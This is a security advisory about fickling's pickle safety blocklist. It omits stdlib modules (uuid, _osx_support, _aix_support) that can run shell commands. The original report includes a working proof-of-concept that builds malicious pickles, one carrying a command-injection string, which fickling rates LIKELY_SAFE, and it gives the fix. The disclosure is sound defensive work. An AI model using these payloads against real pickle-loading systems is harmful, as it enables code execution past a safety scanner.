GHSA-5hwf-rc88-82xm Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Q: Which versions are affected by GHSA-5hwf-rc88-82xm?

2 open source packages ship an affected version, including fickling.

Q: Is GHSA-5hwf-rc88-82xm being exploited?

There is no known exploitation of GHSA-5hwf-rc88-82xm in the wild and no public exploit code.

Q: How do I fix GHSA-5hwf-rc88-82xm?

Upgrade fickling to 0.1.9 or later.

Not scored Published 4 Mar 2026

Fickling fails to blocklist specific Python standard library modules, allowing attackers to execute arbitrary commands via malicious pickle files.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: Available

What is GHSA-5hwf-rc88-82xm?

GHSA-5hwf-rc88-82xm is an unsafe deserialization vulnerability in fickling, published on 4 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

Module	RCE Function	Internal Mechanism	Importable On
`uuid`	`_get_command_stdout(cmd, *args)`	`subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)`	All platforms
`_osx_support`	`_read_output(cmdstring)`	`os.system(cmd)` via temp file	All platforms
`_osx_support`	`_find_build_tool(toolname)`	Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)`	All platforms
`_aix_support`	`_read_cmd_output(cmdstring)`	`os.system(cmd)` via temp file	All platforms

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b&#34;\x95&#34; + struct.pack(&#34;&lt;Q&#34;, 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack(&#34;&lt;Q&#34;, 60), data=frame_data),
    ShortBinUnicode(&#34;uuid&#34;),
    ShortBinUnicode(&#34;_get_command_stdout&#34;),
    StackGlobal(),
    ShortBinUnicode(&#34;echo&#34;),
    ShortBinUnicode(&#34;PROOF_OF_CONCEPT&#34;),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode(&#34;x&#34;), ShortBinUnicode(&#34;y&#34;), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack(&#34;&lt;Q&#34;, 60), data=frame_data),
    ShortBinUnicode(&#34;_aix_support&#34;),
    ShortBinUnicode(&#34;_read_cmd_output&#34;),
    StackGlobal(),
    ShortBinUnicode(&#34;echo PROOF_OF_CONCEPT&#34;),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode(&#34;x&#34;), ShortBinUnicode(&#34;y&#34;), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack(&#34;&lt;Q&#34;, 60), data=frame_data),
    ShortBinUnicode(&#34;_osx_support&#34;),
    ShortBinUnicode(&#34;_find_build_tool&#34;),
    StackGlobal(),
    ShortBinUnicode(&#34;x; echo INJECTED #&#34;),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode(&#34;x&#34;), ShortBinUnicode(&#34;y&#34;), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [(&#34;uuid&#34;, uuid_payload), (&#34;aix&#34;, aix_payload), (&#34;osx&#34;, osx_payload)]:
    result = check_safety(p)
    print(f&#34;{name}: severity={result.severity}, issues={len(result.results)}&#34;)
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

&#34;uuid&#34;,
&#34;_osx_support&#34;,
&#34;_aix_support&#34;,

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
fickling source: analysis.py UNSAFE_IMPORTS set

Which versions are affected by GHSA-5hwf-rc88-82xm?